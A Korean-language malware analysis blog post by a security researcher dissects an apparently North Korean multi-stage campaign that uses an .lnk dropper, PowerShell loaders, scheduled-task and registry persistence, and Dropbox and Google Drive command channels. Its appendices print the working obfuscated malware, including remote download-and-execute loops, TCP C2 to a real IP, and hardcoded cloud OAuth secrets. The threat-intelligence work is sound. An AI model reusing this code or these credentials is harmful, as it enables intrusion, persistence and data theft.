안녕하세요 다온기술 연구원 막스 입니다.
현재 새로운 DPRK 악성코드와 공격 기법을 발견하여 분석 중입니다. 해당 기법에 대한 상세한 정보를 공유하고자 본 게시글을 발행하였으며, 앞으로 추가적인 분석 결과가 나오는 대로 지속적으로 업데이트할 예정입니다.
최신 보안 위협에 대비할 수 있도록 지속적인 모니터링과 정보를 제공하겠습니다.

✍️ 작성자: 다온기술 Researcher Max Hinze
Executive Summary
조사 결과, 이 악성코드는 다단계 드로퍼와 클라우드 기반 명령 및 제어(C2) 인프라를 활용하는 정교한 공격 캠페인임이 밝혀졌습니다. 감염 경로는 다음과 같이 구성됩니다.
1단계 – 악성 .lnk 파일 드로퍼
최초 감염 경로는 악성 바로가기 파일(.lnk)입니다. 이 기법은 Kimsuky 및 Konni 그룹과 같은 공격자들에 의해 널리 사용되어 왔으며, 표면적으로는 무해해 보이도록 위장되어 있습니다.
2단계 – PowerShell 스크립트 추출:
실행되면, .lnk 파일은 숨겨진 PowerShell 스크립트를 추출하고 실행합니다. 이 스크립트는 감염 체인을 이어가기 위한 중요한 역할을 하며 지속성도 확보합니다.
3단계 – ZIP 아카이브 다운로드:
추출된 PowerShell 스크립트는 원격 서버로부터 ZIP 파일을 다운로드합니다. 이 ZIP 파일에는 추가 악성 구성 요소—자바스크립트 파일과 추가 PowerShell 코드—가 포함되어 있습니다.
4단계 – 추가 페이로드 실행:
ZIP 파일 내의 자바스크립트 파일이 실행되거나 PowerShell 명령어의 일부로 실행되어, 지속성을 확보하고 원격 제어를 가능하게 합니다.
클라우드 기반 C2 채널:
이후 단계에서는 Dropbox와 Google Drive와 같은 합법적인 클라우드 서비스를 이용하여 로그를 유출하고 새로운 명령을 수신합니다. 악성코드는 하드코딩된 OAuth 자격 증명을 사용하여 이러한 플랫폼과 상호작용함으로써 원격 명령을 업데이트하고 실행 결과를 전송합니다. 이로써 네트워크 탐지를 회피하는 동시에 지속적인 제어를 유지합니다.
Threat Detail
2025년 2월 4일에 북한 공격자 모니터링 통해서 새로운 악성코드를 확보하였습니다.

비슷한 파일들을 헌팅하다가 아래와 같은 파일들을 획득할 수 있었습니다:
563a1cfd8788542cc19db91a52b87540e9ff2512f3e78c855ffa243b0b530a5d aacb5aca178f6444a82bca1febb282a2859c5a43208ad1cdd39977dc3521f0f6 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983 11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e |
해당 악성코드의 마지막으로 획득한 파일을 분석하겠습니다.


이 파일은 2024년 8월 25일에 생성된 것으로 보입니다. 감염 경로의 초기 단계는 악성 .lnk 파일이며, 이는 최근 Kimsuky와 Konni 그룹에서 자주 사용된 기법입니다. 이 코드에 대한 간단한 설명은 다음과 같습니다:
javascript: v = " -Encoding Byte;sc "; s = "a=new Ac" + "tiveXObject('WSc"+"ript.Shell');a.Run(c,0,true);close();"; c = "powe" + "rshell -ep bypass -c $t=0x1bcc;$k = Get-ChildItem .lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:T" + "EMP\\\\\\\\*.l" + "nk | where-object{$_.length -eq $t};};$w='c:\\\\programdata\\\\n.ps1';$f=gc $k" + v+"$w ([byte[]]($f | sel" + "ect -Skip 0x0938)) -Force" + v+"c:\\\\programdata\\\\b21725 0;po" + "wersh" + "ell -ep bypass -f $w;"; eval(s); |
v: 나중에 PowerShell 명령어에 결합
s: WScript.Shell 객체를 생성하며, 그 Run 메서드를 사용하여 c 변수에 저장된 명령어를 실행
c: 여러 문자열 조각을 합쳐서 만들어지며, 결합하면 아래의 PowerShell 명령어 획득
이 PowerShell 명령은 페이로드가 포함된 .lnk 파일(변수 $k 에 저장된 파일)의 내용을 바이트 단위로 읽어들입니다. 그 후, Select -Skip 0x0938 명령을 사용하여 파일의 처음 2360바이트를 건너뛰고, 나머지 바이트를 $w 변수에 지정된 파일에 바이트 인코딩을 사용하여 저장합니다.
powershell -ep bypass -c $t=0x1bcc; $k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name; if($k.count -eq 0){ $k = Get-ChildItem $env:TEMP\\*\\*.lnk | where-object{$_.length -eq $t}; }; $w = 'c:\\programdata\\n.ps1'; $f = gc $k -Encoding Byte; sc $w ([byte[]]($f | select -Skip 0x0938)) -Force -Encoding Byte; sc c:\\programdata\\b21725 0; powershell -ep bypass -f $w; |
본질적으로, 이 코드는 드로퍼 역할을 합니다. 즉, 특정 방식으로 조작된 .lnk 파일에서 숨겨진 PowerShell 페이로드를 추출한 후 실행합니다. 추출한 페이로드는 다음과 같습니다.

이 코드는 매우 난독화되어 있어 기능을 파악하기 어렵지만, 동적 분석 기법을 사용하면 최종 페이로드를 비교적 쉽게 추출하며 Cyberchef 같은 툴로 Base64 인코딩을 없앨 수 있습니다. 페이로드는 별첨.1에서 확인할 수 있습니다.

1. 초기 정리:
스크립트는 먼저 C:\\ProgramData\\n.ps1 파일을 삭제합니다. 이는 이전 버전이나 과거의 악성 활동 흔적을 제거하기 위한 것으로 보입니다.
2. Dropbox에서 페이로드 다운로드 및 실행:
문자열을 결합해 Dropbox에 호스팅된 파일(Sm.dat)의 URL을 구성합니다.
난독화된 Invoke-WebRequest 호출을 통해 이 파일을 다운로드하여 C:\\ProgramData에 ZIP 파일(gs.zip)로 저장합니다.
저장된 ZIP 파일은 같은 폴더에 압축 해제되어, 내부의 악성 코드가 실행될 수 있도록 합니다.
3. 예약 작업 및 레지스트리 항목을 통한 영구성 확보:
2분마다 실행되는 스케줄 작업을 생성하여, 26545.tmp 파일을 Windows Script Host의 JavaScript 엔진(wscript.exe)으로 실행합니다. 이는 주기적으로 악성 코드를 실행하게 만듭니다.
또한, 윈도우 시작 시 자동으로 악성 페이로드가 실행되도록 레지스트리 “Run” 키에 항목을 추가합니다.
4. 동적 실행 루프:
초기 설정 후, 스크립트는 무한 루프에 들어가 120초마다 C:\\ProgramData\\M8482.tmp 파일의 내용을 읽어 실행합니다. 이를 통해 악성 코드가 새로운 명령이나 업데이트된 페이로드를 동적으로 받아 실행할 수 있을 것으로 추정됩니다.
5. 비동기 실행 설정:
PowerShell 런스페이스 풀을 생성하여 메인 페이로드를 별도의 비동기 환경에서 실행함으로써, 여러 작업을 동시에 수행할 수 있도록 합니다.
6. 원격 명령 제어(C2) 통신 – 첫 번째 단계 (포트 8855):
스크립트는 IP 주소 64.20.59.148의 포트 8855로 TCP 연결을 시도합니다.
이 연결을 통해 Base64로 인코딩된 데이터를 읽어옵니다. 데이터를 수신하면 디코딩하여 ZIP 파일(k.zip)로 저장하고 압축을 해제합니다.
이후, 또 다른 레지스트리 항목과 예약 작업을 설정하여 JavaScript 페이로드(N9371.js)를 실행하게 함으로써, 영구성과 원격 제어 기능을 더욱 강화합니다.
7. 원격 명령 제어(C2) 통신 – 두 번째 단계 (포트 6699):
또 다른 무한 루프에서는 동일한 IP의 포트 6699에 반복적으로 연결합니다.
수신한 데이터를 임시 PowerShell 스크립트 파일(tmps2.ps1)로 저장한 뒤 실행하고, 파일을 삭제합니다. 이 루프는 20초 간격으로 반복되어, 공격자가 거의 실시간에 가까운 명령 전달 및 실행을 가능하게 합니다.

gs.zip
분석의 다음 단계에서는 C2 서버로부터 받은 gs.zip 파일에 집중할 것입니다. 이 ZIP 아카이브에는 .tmp 확장자를 가진 두 개의 파일이 포함되어 있으며, 하나는 자바스크립트 페이로드이고 다른 하나는 PowerShell 페이로드입니다.

26545.tmp

try{ var semfomuhiuwh3463457= new ActiveXObject("WSc"+"ript.Shell"); var Omcn847= "p"+"owersh"+"ell -ep byp"+"ass -com"+"mand $fn='C:\\\\Progra"+"mData\\\\M8482.tmp';$d = Get-C"+"ontent $fn; Inv"+"oke-Exp"+"ress"+"ion $d;"; semfomuhiuwh3463457.Run(Omcn847, 0);}catch(err){} |
다음은 반환된 코드의 설명입니다. 이 코드는 난독화가 풀린 자바스크립트 드로퍼(dropper)로, 추가 악성 페이로드를 불러와 실행하는 역할을 합니다.
1. 셸 객체 생성:
"WScript.Shell"이라는 ActiveX 객체를 새로 생성합니다. 이 객체를 사용하면 스크립트가 시스템 명령을 실행할 수 있습니다.
2. PowerShell 명령어 구성:
변수 Omcn847는 여러 조각을 결합하여 다음과 같은 명령어를 만듭니다:
bash Copy powershell -ep bypass -command $fn='C:\\ProgramData\\M8482.tmp';$d = Get-Content $fn; Invoke-Expression $d; |
ep bypass : PowerShell의 실행 정책을 우회
$fn='C:\\ProgramData\\M8482.tmp' : C:\\ProgramData\\M8482.tmp 파일의 경로를 변수 $fn에 할당
$d = Get-Content $fn; : 해당 파일의 내용을 읽어옵니다.
Invoke-Expression $d; : 읽어온 내용을 PowerShell 코드로 실행합니다.
3. 명령어 실행:
생성된 셸 객체의 Run 메서드를 이용해 위에서 구성한 PowerShell 명령어를 실행합니다. 이때, 창을 숨긴 상태(0번 창 스타일)로 실행되며, try/catch 구문으로 오류를 무시합니다.
M8482.tmp

해당 PowerShell 스크립트도 그림 4번의 스크립트하고 유사하므로 똑같은 동적 분석 기법으로 페이로드를 추출할 수 있습니다.
$m = 123; $client_id = "gk6njum1ymlfvze" $client_secret = "d4vujs98alj4qmj" $refresh_token = "Vyf2gOjGyOkAAAAAAAAAAfwastEuMQMDsQmBhvmW7Hb9jvPYyB_0kVeD1Xkk6ANg" $auth_url = "<https://api.dropbox.com/oauth2/token>" $body = @ { "refresh_token" = $refresh_token "grant_type" = "refresh_token" "client_id" = $client_id "client_secret" = $client_secret } $res = Invoke - WebRequest - Method Post - Uri $auth_url - Body $body | ConvertFrom - Json $DropBoxAccessToken = $res.access_token $ipV4 = Test - Connection - ComputerName (hostname) - Count 1 | Select IPV4Address $ip = $ipV4.IPV4Address.IPAddressToString $myFolder = "/" + $ip + "__" + $t + "/" function Upload_log { Param( $accesstoken ) $tm = [System.DateTime]::Now; $curTime = $tm.ToString("yyyy_MM_dd__HH:mm:ss"); $TargetFilePath = $myFolder + $curTime + "__" + $ip + "__" + $objName + "_Connect.log" $url = "<https://content.dropboxapi.com/2/files/upload>" [net.httpWebRequest] $req = [net.webRequest]::create($url) $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' $authorization = "Bearer " + $accesstoken $req.method = "POST" $req.Headers.Add("Authorization", $authorization) $req.Headers.Add("Dropbox-API-Arg", $arg) $req.ContentType = 'application/octet-stream' $req.TimeOut = 50000 $req.KeepAlive = $true $req.Headers.Add("Keep-Alive: 300"); $reqst = $req.getRequestStream() $reqst.flush() $reqst.close() [net.httpWebResponse] $res = $req.getResponse() $resst = $res.getResponseStream() $sr = new - object IO.StreamReader($resst) $result = $sr.ReadToEnd() $res.close() } function UploadFile { [CmdletBinding()] param ( [Parameter (Mandatory = $True, ValueFromPipeline = $True)] [Alias("f")] [string]$SourceFilePath ) $tm = [System.DateTime]::Now; $curTime = $tm.ToString("yyyy_MM_dd__HH:mm:ss"); $outputFile = Split - Path $SourceFilePath - leaf $TargetFilePath = $myFolder + $curTime + "__" + $ip + "__Result" + ".log" $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' $authorization = "Bearer " + $DropBoxAccessToken $headers = New - Object "System.Collections.Generic.Dictionary[[String],[String]]" $headers.Add("Authorization", $authorization) $headers.Add("Dropbox-API-Arg", $arg) $headers.Add("Content-Type", 'application/octet-stream') Invoke - RestMethod - Uri <https://content.dropboxapi.com/2/files/upload> -Method Post -InFile $SourceFilePath -Headers $headers } function Dn_run { Param( $accesstoken ) try { $token = 'Bearer ' + $accesstoken $arg = '{"path": "","recursive": true,"include_media_info": false,"include_deleted": false,"include_has_explicit_shared_members": false,"include_mounted_folders": true}' $headers = New - Object "System.Collections.Generic.Dictionary[[String],[String]]" $headers.Add("Authorization", $token) $Folders = Invoke - RestMethod - Uri <https://api.dropboxapi.com/2/files/list_folder> -Method Post -Headers $headers -ContentType "application/json; charset=utf-8" -body $arg $allFiles = $folders.entries.path_display $entries = $Folders.entries $cmdPath = "" foreach ($i in $entries) { $path = $i.path_display $pattern = $myFolder + "*.txt" if ($path - like $pattern) { $cmdPath = $path break; } $pattern = "/cmd/" + $t + "*.txt" if ($path - like $pattern) { $cmdPath = $path break; } } $wc = New - Object System.Net.WebClient; $arg = '{ "path": "' + $cmdPath + '"}' $wc.Headers.Set("Authorization", "Bearer $accesstoken"); $wc.Headers.Set("Dropbox-API-Arg", $arg); $tmpz = "c:\\\\programdata\\\\tmps3.ps1"; $wc.DownloadFile("<https://content.dropboxapi.com/2/files/download>", $tmpz); $wc2 = New - Object System.Net.WebClient; $wc2.Headers.Add("Authorization", "Bearer $DropBoxAccessToken"); $wc2.Headers.Add("Content-Type", " application/json"); $Null = $wc2.UploadString("<https://api.dropboxapi.com/2/files/delete>", "POST", $arg); $Output = try { powershell - ep bypass - f $tmpz 2 > &1 | Out - String; } catch { $_ | Out - String; } $tm = [System.DateTime]::Now; $s = $tm.ToFileTimeUtc().ToString() $imgName = $s; $outfile = "c:\\programdata\\" + $imgName $Output | Out - File - FilePath $outfile UploadFile $outfile; remove - item $outfile remove - item $tmpz } catch { remove - item $outfile remove - item $tmpz } } Upload_log $DropBoxAccessToken Dn_run $DropBoxAccessToken |
위 PowerShell 스크립트는 Dropbox를 이용한 다단계 드로퍼 및 원격 제어 도구로, 공격자가 피해 시스템을 지속적으로 제어할 수 있게 해줍니다. 주요 기능은 다음과 같습니다.
1. 인증 및 환경 설정:
스크립트는 하드코딩된 OAuth 자격 증명(클라이언트 ID, 클라이언트 시크릿, 리프레시 토큰)을 사용하여 Dropbox의 OAuth 엔드포인트를 통해 단기 액세스 토큰을 획득합니다.
이후, 로컬 머신의 IPv4 주소를 확인하고, 해당 IP와 미리 설정된 변수 $t 를 조합하여 업로드할 폴더 이름을 구성합니다.
2. 로그 기록 및 보고 (Upload_log 함수):
Upload_log 함수는 구성된 폴더 이름과 현재 시각을 사용하여 로그 파일의 경로를 만듭니다.
이 로그 파일은 Dropbox의 /2/files/upload API를 통해 업로드되며, 이는 공격자에게 해당 시스템이 활성화되어 있음을 알리는 신호로 사용됩니다.
3. 결과 업로드 (UploadFile 함수):
UploadFile 함수는 로컬 파일(일반적으로 명령 실행 결과 파일)을 Dropbox에 업로드합니다.
업로드 대상 파일 이름은 로컬 IP, 타임스탬프 및 고정 문자열을 조합하여 생성되며, 이를 통해 결과 파일임을 식별할 수 있습니다.
4. 원격 명령 검색 및 실행 (Dn_run 함수):
스크립트는 Dropbox API를 사용하여 특정 폴더의 내용을 나열하고, 파일 이름이 일정 패턴(메인 폴더 또는 /cmd/ 하위 폴더에 있는 .txt 파일)과 일치하는지 확인합니다.
일치하는 파일이 있으면 해당 파일을 다운로드한 후 Dropbox에서 삭제하고, PowerShell 스크립트로 실행합니다.
실행 결과는 임시 파일에 저장된 후, UploadFile 함수를 통해 다시 Dropbox에 업로드됩니다. 이를 통해 공격자는 원격에서 명령 실행 결과를 확인할 수 있습니다.
5. 지속성 및 반복 운영:
스크립트는 주기적으로 Dropbox 폴더를 확인하여 새로운 명령 파일을 찾고 결과를 업로드함으로써, 지속적인 원격 제어 채널을 형성합니다.
이 방식은 공격자가 초기 드로퍼를 변경하지 않고도 원격 명령을 업데이트하고, 결과를 받아볼 수 있게 합니다.
개발한 스크립트로 dropbox에 접속해보니 “Connection Log” 외에는 파일이 없으나 해당 dropbox에 대한 유용한 데이터를 획득할 수 있습니다.

Google Drive 활용하는 샘플
268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547
해당 샘플의 흐름이 위에 분석된 샘플과 똑같으나, 마지막 Stage에서 DropBox가 아닌 Google Drive를 활용하는 것을 확인할 수 있습니다. 보고서 작성 때는 해당 Google Drive에 접근이 불가능하였습니다.
$objName = "uuu" $folderId = "1lvY-PLtOkcA8clrQABWUWUMhRkgAsMsa"; $clientId = "159263970130-1gil63rpicrhtbo4he4qvnfiks351oc4.apps.googleusercontent.com"; $secret = "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"; $redirectURI = "urn:ietf:wg:oauth:2.0:oob"; $refreshToken = "1//04LW2ZAjvny5rCgYIARAAGAQSNwF-L9IrePyqSf2RbRaJcMnPLBxkYAxBe67stBSonT80fVgGWuVPkZQfDs9UdyaLdYoZRf127CA";$refreshTokenParams = @{ client_id=$clientId; client_secret=$secret; refresh_token=$refreshToken; grant_type='refresh_token'; } $refreshedToken = Invoke-WebRequest -Uri "<https://www.googleapis.com/oauth2/v4/token>" -Method POST -Body $refreshTokenParams | ConvertFrom-Json $accesstoken = $refreshedToken.access_token $dnHeader = @{ "Authorization" = "Bearer $accessToken" }Function UploadFile($path, $accesstoken) { $SourceFile = $path $sourceItem = Get-Item $sourceFile $sourceBase64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($sourceItem.FullName)) $sourceMime = [System.Web.MimeMapping]::GetMimeMapping($sourceItem.FullName) $supportsTeamDrives = 'false' $tm = [System.DateTime]::Now; $curTime = $tm.ToString("yyyy_MM_dd__HH:mm:ss");
$uploadMetadata = @{ originalFilename = $sourceItem.Name name = $objName+ "__"+$curTime + "_result.txt" description = $sourceItem.VersionInfo.FileDescription parents = @($folderId) } $uploadBody = @" --boundary Content-Type: application/json; charset=UTF-8 $($uploadMetadata | ConvertTo-Json) --boundary Content-Transfer-Encoding: base64 Content-Type: $sourceMime $sourceBase64 --boundary-- "@ $uploadHeaders = @{ "Authorization" = "Bearer $accesstoken" "Content-Type" = 'multipart/related; boundary=boundary' "Content-Length" = $uploadBody.Length } $response = Invoke-RestMethod -Uri "<https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=$supportsTeamDrives>" -Method Post -Headers $uploadHeaders -Body $uploadBody }Function UploadLog($accesstoken) { $tm = [System.DateTime]::Now; $curTime = $tm.ToString("yyyy_MM_dd__HH:mm:ss"); $BytesToConvert = [Text.Encoding]::Unicode.GetBytes($curTime); $EncodedText = [Convert]::ToBase64String($BytesToConvert); $sourceBase64 = $EncodedText $supportsTeamDrives = 'false' $uploadMetadata = @{ name = $objName+ "__"+$curTime + "_Result_log.txt" parents = @($folderId) } $uploadBody = @" --boundary Content-Type: application/json; charset=UTF-8 $($uploadMetadata | ConvertTo-Json) --boundary Content-Transfer-Encoding: base64 $sourceBase64 --boundary-- "@ $uploadHeaders = @{ "Authorization" = "Bearer $accesstoken" "Content-Type" = 'multipart/related; boundary=boundary' "Content-Length" = $uploadBody.Length } $response = Invoke-RestMethod -Uri "<https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=$supportsTeamDrives>" -Method Post -Headers $uploadHeaders -Body $uploadBody return ; }UploadLog($accesstoken) $q = "q=name+contains+'$objName'+and+not+fullText+contains+'result'+and+mimeType+!=+'application/vnd.google-apps.folder'" $ur = "<https://www.googleapis.com/drive/v3/files>" + "?" + $q $response = Invoke-RestMethod -Uri $ur -Headers $dnHeader $files = $response.files $cout = $files.Countfor($i=0; $i -lt $cout;$i++){ $n = $files[$i].name; $id = $files[$i].id; $mimeType = $files[$i].mimeType; if($mimeType -eq "text/plain") { $downloadUrl = "<https://drive.google.com/uc?export=download&id=>"+$id; $localFilePath = "c:\\\\programdata\\\\"+$n; try{ $c = new-object System.Net.WebClient; $res=$c.DownloadString($downloadUrl); $delUrl = "<https://www.googleapis.com/drive/v3/files/>" + $id Invoke-RestMethod -Uri $delUrl -Method DELETE -Headers $dnHeader $tmpz = "c:\\\\programdata\\\\tmps4.ps1"; $res | Out-File $tmpz; $Output = try { powershell -ep bypass -f $tmpz 2>&1 | Out-String; } catch { $_ | Out-String; } $tm = [System.DateTime]::Now; $s = $tm.ToFileTimeUtc().ToString() $imgName= $s;
$outfile = "c:\\programdata\\" + $imgName $Output | Out-File -FilePath $outfile UploadFile -Path $outfile -accesstoken $accesstoken; remove-item $outfile } catch{ remove-item $outfile } } } |
별첨.1 악성 lnk 파일에서 추출한 파워셸 스크립트
Remove - Item 'c:\\\\programdata\\\\n.ps1'; $e1 = { $du = "htt" + "ps://www.drop" + "box.com/scl/fi/1hj27p69dyvrqe0vfbaeg/Sm.dat?rlkey=jqhx8xqyh6bre4uxqzls5wn5u&st=7ug00180&dl=1"; try { $tg = "c:\\\\programdata\\\\gs.zip"; .("{2}{3}{0}{1}" - f 'ebRe', 'quest', 'Invo', 'ke-W') $ { d`U } - OutFile $ { tG }; Expand - Archive - Path $tg - D 'C:\\\\Programdata'; $g = 'sch' + 'tasks /create /sc minute /mo 2 /tn AGM' + 'icrosoftE' + 'dgeUpdate' + 'Expanding' + '[7923498737] /tr "ws' + 'cript //e:ja' + 'vascr' + 'ipt //b C:\\\\Pr' + 'ogramData\\\\26545.tmp" /f'; cmd /c $g;$kic1='ws\\\\system'+'32\\\\wscr'+'ipt.exe //b //e'+':javascr'+'ipt C:\\\\Progra'+'mData\\\\26545.tmp" /f';$qoc='dows\\CurrentVersion\\Ru'+'n" /v GUpdat'+'e2 /t REG_SZ /d "c:\\\\windo'+ $kic1;$tmp2='KCU\\Software\\Mi'+'crosoft\\Win'+$qoc;$untiy = 'r';$tmp1='eg add "H';$tmp3=$tmp1+$tmp2;$trn1=$untiy+$tmp3;cmd /c $trn1; del $tg; } catch {}; while ($true) { $u = " Inv" + "oke-Exp" + "ress" + "ion (Get-C" + "ontent C:\\\\Prog" + "ramData\\\\M8482.tmp);"; powershell - ep bypass - c $u; Sleep(120); } } $rp = [runspacefactory]::CreateRunspacePool(1, 5); $rp.Open() $p1 = [powershell]::Create(); $p1.RunspacePool = $rp; $p1.AddScript($e1); $JobObj = New - Object - TypeName PSObject - Property @ { Runspace = $p1.BeginInvoke(); PowerShell = $p1; } $Usbbc = ('64.20.59.148', '8855', '6699'); try { $r = $Usbbc[0]; $p = $Usbbc[1]; $tc = New - Object System.Net.Sockets.TcpClient($r, $p); $strm = $tc.GetStream(); $q = New - Object System.IO.StreamReader($strm); $z = ''; while ($strm.DataAvailable - or $q.Peek() - ne - 1 ) { $t1 = $q.ReadLine(); $z += $t1; } if ($z.Length - ne 0) { $b = [Convert]::FromBase64String($z); $t = 'c:\\\\programdata\\\\k.zip'; Set - Content - Path $t - V $b - Encoding Byte; Expand - Archive - Path $t - D 'C:\\\\Programdata'; del $t; $kic1 = 'ws\\\\system' + '32\\\\wscr' + 'ipt.exe //b //e' + ':javascr' + 'ipt C:\\\\Progra' + 'mData\\\\N9371.js" /f'; $qoc = 'dows\\CurrentVersion\\Ru' + 'n" /v SUpdat' + 'e /t REG_SZ /d "c:\\\\windo' + $kic1; $tmp2 = 'KCU\\Software\\Mi' + 'crosoft\\Win' + $qoc; $untiy = 'r'; $tmp1 = 'eg add "H'; $tmp3 = $tmp1 + $tmp2; $trn1 = $untiy + $tmp3; cmd /c $trn1;$g = 'sch'+'tasks /create /sc minute /mo 2 /tn AM'+'icrosoftE'+'dgeUpdate'+'Expanding'+'[3829710973] /tr "ws'+'cript //e:ja'+'vascr'+'ipt //b C:\\\\Pr'+'ogramData\\\\38243.tmp" /f';cmd /c $g; $strm.close(); } } catch {}; while ($true) { r = $Usbbc[0]; $p2 = $Usbbc[2]; $tc2 = New - Object System.Net.Sockets.TcpClient($r, $p2); $st2 = $tc2.GetStream(); $r2 = New - Object System.IO.StreamReader($st2); $c = ''; while ($st2.DataAvailable - or $r2.Peek() - ne - 1 ) { $t2 = $r2.ReadLine(); $c += $t2; } if ($c.Length - ne 0) { $TSbbcnv1 = "c:\\programdata\\tmps2.ps1"; $c | Out - File $TSbbcnv1; powershell - ep bypass - f $TSbbcnv1; del $TSbbcnv1; } Sleep(20); } |
별첨.2 26545.tmp
(function (LCOAue83, SNiu86) { var PAom8375 = ME86EPOK842; var agent = LCOAue83(); var n = agent.length; while (!![]) { try { k = parseInt(PAom8375(0x1da)) * (parseInt(PAom8375(0x1df)))/0x5;if(k===SNiu86){break;}else {for(i=0;i<n;i++){str = agent[i];var match = str.match(/\\d + /g); var m = match[0].length + 1; var tmp = str.substring(m);var len = tmp.length;if(len <= 2) return;var k = tmp.substring(2)+tmp.substring(0,2);t = k.charAt(0); tt = k.charAt(len-1); tmp = tt+k.substring(1,len-1)+ t;var res = match[0]+'X'+tmp;agent[i] = res;}agent['unshift'](agent['pop']());}}catch(_0x49299e){}}}(SBb46hg, 674956.8));function ME86EPOK842(_Index,_DummyVar2){var sf4=SBb46hg();return ME86EPOK842=function(tm,_0x85aeda){n=sf4.length;indx=tm-0x106;indx %= n;var 0x679cae=sf4[indx];return 0x679cae;}, ME86EPOK842(_Index,_DummyVar2);}(function (_Used2Func){var str2Array=_Used2Func();var p=str2Array.length;res = ''; for(h=0;h<n;h++){s = str2Array[h];var mt = s.match(/\\d + / g); res += s.substring(mt[0].length + 1); } eval(res); } (SBb46hg)); function SBb46hg() { var Qub87g = ["1998X e- pyb\\"p\\"+eall", "2057Xcmo+\\"m\\"na ds$s -", "6804X':C\\\\\\\\rPgoarf\\"n=","2619Xaat\\\\\\\\8M84.2+t\\"mD","0157Xd= G teC-+\\"m\\"p';$", "3767Xetn$ nf ;nIovnt", "3147XoekE-px+\\"r\\"\\"e+\\"", "0760X+i\\"no$ ;d;\\"s s\\"", "8784Xmhuuihw4336s4emfo", "7185XnO(cm8n74 ,507.Ru", "9822Xctahce(rr{))};}", "8764Xvras meofumthry{ ", "9753X3644375 =eniwuwh", "7889XvXebOejtc\\"( WActi", "8350X+r\\"pi.thSleSlc\\"", "2835X av rmOnc48\\"7);", "3678X\\"\\"+worehs+\\"=\\" \\"p"]; SBb46hg = function() { return Qub87g; }; return SBb46hg(); } |
별첨.3 M8482.tmp
$eh26=@(); $kqw0="stL6MHc0RHaiASPgwmc19Fa0VXYkoQDK0gIn5UQ2s2aYFDRlZ1aw8lQ5lFU2pWOih0NX1mdoJUbRNHRNFVT1VEdzF2dmFUQBFUQBFUQBF0aPl3Rq90ZyYWeWJCI9Aiblt2b09FazVmcmVmckoQDioWbxRjasFGO5Mna1ZHNkJCI9ACdlJ3YlN3X05WZpx2YkoQDiUme2ZGbtlXMtVnauZzanJCI9ACZp9FduVWasNGJK0wOzITM90GJvwya"[246..2]; $bce1="oqZz9FduVWasNGJg0DIiQXZyNWZz9FduVWasNmIgACIgoQDgACZp9FduVWasNGJg0DIiQWafRnbllGbjJCIgACIK0AIgACIi4WZr9Gdfh2clJnZlJnIg0DIiUGc5R3X05WYydmIgACIgoQDuV2avR3XoNXZyZWZyRCI9AiIuV2avR3XoNXZyZWZyJCIgACIK0weABSPgkHZvJGJK0gIuV2avR3LygGd1F2bv02bj5CevJGcvJHZukGch9yuyd"[249..2]; $iou2="qsCIpUWbh5Gdz9GaoASZtFmTyVGd1BXbvNULg42bpR3Yl5mbvNUL0NXZUBSPgQjVwlGJK0gblt2b091czV2YjFmLzVmckACI9Aiblt2bUN3clN2YBh3bCB3byREJK0gbvNnSt02byZEdyVmdu92QgwHI5R2biRCI5R2bC1CIsJXdfhGd1FGJgkmcV1CI0N3bQBCZvhGdl1ULgQ3clVXclJlYldVLlt2b25WSg0DIzVmckoQDgACIg0nCNQXZyNWuvwya"[254..2]; SeT-iteM ('VaRIAb'+'LE:'+'Qk'+'yr'+'Z') ( [typE]("{1}{0}"-F 'oNvERt','C')); &("{0}{1}{2}"-f'Set-V','a','riable') -Name ("{0}{1}" -f'qwck','99') -Value ({param(${m`mm41})foreach(${MM`m`42} in ${MmM`41}) {.("{0}{2}{1}{3}" -f'Set','iabl','-Var','e') -Name ("{1}{0}" -f'm44','mm') -Value ( (gCi ('variab'+'le:'+'qk'+'yR'+'Z') ).valUE::('Fr'+'o'+'mBase'+'64String').Invoke(${m`Mm42})); .("{2}{1}{3}{0}"-f'Variable','t','Se','-') -Name ("{0}{1}"-f 'mmm4','5') -Value (-join (${mMM`44} -as [char[]])); &("{1}{0}{3}{4}{2}" -f'o','Inv','xpression','ke','-E') ${Mm`M45}; }}); $bcg3="psw=AiIvICIrACdkAyKgIyXfJCIrACcpRCIrAiIvICI9AiclRGbvZUetRiCNcmbpJHdT9GVzNXZyRGZBBVSuM3clJHZkFENWBVSuQjVwlGJg0DIwlGJK0wczVmckRWQ0YFUJBCdjVGblNFI8BCIxACduV3bD1cglry"[156..3]; $gnpq4=$kqw0+$bce1+$iou2+$bcg3; $eh26+=$gnpq4 -join ''; $yac5="koVmckASX0NXZ1FXZSJWZXBHd0hmL0VmbbpQDK0gIkF2bsBXdvMXZslmZvIzLt92YukGchh3biB3byRmL05WZ052bj9yL6MHc0RHaiASPgwmc1RiCNoQDic2bs5CdjVmbu92QfJCIrASZtFmTqJ2bkAyKgIyXfJCIrACcpRCIgsCIi81XiAyKgASZtlGVyV3YkAyKgIXZkx2bGlXbk0Da0FGUlxWaGRXZnJXYURiCNsTKiM3c60Wb6gESf9FZk9VTN9Ve5lXeigyZulmc0N1bU5Sb0RCI9ASZtlGVyV3YkoQD7c3bOpjOdVWbpRVZ0FGRu0WZ0NXeTtFI9ASb0RiCNkiCN4WZr9GdzNXZjNWYkACIgAiCNgSbhJXYQpQD7ByZvx2XkF2bsBXVg42bpR3YuVnZrwa"[408..2]; 